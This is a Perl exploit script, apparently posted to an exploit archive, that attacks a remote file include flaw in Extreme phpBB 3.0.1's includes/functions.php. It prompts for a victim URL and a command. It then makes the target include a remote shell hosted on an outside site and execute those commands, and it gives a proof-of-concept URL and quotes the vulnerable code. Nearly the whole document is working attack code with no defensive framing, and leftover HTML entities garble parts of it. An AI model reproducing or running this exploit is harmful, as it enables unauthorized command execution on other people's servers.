Extreme phpBB 3.0.1 (functions.php) Remote File Include Exploit

                                                # (C) xoron
#
# [Name: phpBB Extreme 3.0.1 (phpbb_root_path) Remote File Include Exploit ]
#
# [Author: xoron]
# [Exploit coded by xoron]
#
# [Download: http://sourceforge.net/project/showfiles.php?group_id=95900 ]
#
# [Tesekkurler: pang0, DJR]
# 
# [POC: /includes/functions.php?phpbb_root_path=http://evilscripts?]
#
# [Vuln Codes: include_once( $phpbb_root_path . \'./includes/functions_categories_hierarchy.\' . $phpEx );x );
#
#
$rfi = \"functions.php?phpbb_root_path=\"; 
$path = \"/includes/\";
$shell = \"http://pang0.by.ru/shall/pang057.zz?cmd=\";
print \"Language: English // Turkish
Plz Select Lang:
\";&nbsp;$dil&nbsp;=&nbsp;<STDIN>;&nbsp;chop($dil);
if($dil&nbsp;eq&nbsp;\"English\"){
print&nbsp;\"(c)&nbsp;xoron
\";
&ex;
}
elsif($dil&nbsp;eq&nbsp;\"Turkish\"){
print&nbsp;\"Kodlayan&nbsp;xoron
\";
&ex;
}
else&nbsp;{print&nbsp;\"Plz&nbsp;Select&nbsp;Languge
\";&nbsp;exit;}
sub&nbsp;ex{
$not&nbsp;=&nbsp;\"Victim&nbsp;is&nbsp;Not&nbsp;Vunl.
\"&nbsp;and&nbsp;$not_cmd&nbsp;=&nbsp;\"Victim&nbsp;is&nbsp;Vunl&nbsp;but&nbsp;Not&nbsp;doing&nbsp;Exec.
\"
and&nbsp;$vic&nbsp;=&nbsp;\"Victim&nbsp;Addres?&nbsp;with&nbsp;start&nbsp;http://&nbsp;:\"&nbsp;and&nbsp;$thx&nbsp;=&nbsp;\"Greetz&nbsp;\"&nbsp;and&nbsp;$diz&nbsp;=&nbsp;\"Dictionary?:\"&nbsp;and&nbsp;$komt&nbsp;=&nbsp;\"Command?:\"
if&nbsp;$dil&nbsp;eq&nbsp;\"English\";
$not&nbsp;=&nbsp;\"Adreste&nbsp;RFI&nbsp;acigi&nbsp;Yok
\"&nbsp;and&nbsp;$not_cmd&nbsp;=&nbsp;\"Adresde&nbsp;Ac?k&nbsp;Var&nbsp;Fakat&nbsp;Kod&nbsp;Calismiyor
\"
and&nbsp;$vic&nbsp;=&nbsp;\"Ornek&nbsp;Adres&nbsp;http://&nbsp;ile&nbsp;baslayan:\"&nbsp;and&nbsp;$diz&nbsp;=&nbsp;\"Dizin?:&nbsp;\"&nbsp;and&nbsp;$thx&nbsp;=&nbsp;\"Tesekkurler&nbsp;\"&nbsp;and&nbsp;$komt&nbsp;=&nbsp;\"Command?:\"
if&nbsp;$dil&nbsp;eq&nbsp;\"Turkish\";
print&nbsp;\"$vic\";
$victim&nbsp;=&nbsp;<STDIN>;
chop($victim);
print&nbsp;\"$diz\";
$dizn&nbsp;=&nbsp;<STDIN>;
chop($dizn);
$dizin&nbsp;=&nbsp;$dizn;
$dizin&nbsp;=&nbsp;\"/\"&nbsp;if&nbsp;!$dizn;
print&nbsp;\"$komt\";
$cmd&nbsp;=&nbsp;<STDIN>;
chop($cmd);
$cmmd&nbsp;=&nbsp;$cmd;
$cmmd&nbsp;=&nbsp;\"dir\"&nbsp;if&nbsp;!$cmd;
$site&nbsp;=&nbsp;$victim;
$site&nbsp;=&nbsp;\"http://$victim\"&nbsp;if&nbsp;!($victim&nbsp;=~&nbsp;/http/);
$acacaz&nbsp;=&nbsp;\"$site$dizin$rfi$shell$cmmd\";
print&nbsp;\"(c)&nbsp;xoron.info&nbsp;-&nbsp;xoron.biz
$thx:&nbsp;pang0,&nbsp;chaos,&nbsp;can&nbsp;bjorn
\";
sleep&nbsp;3;
system(\"start&nbsp;$acacaz\");
}

&nbsp;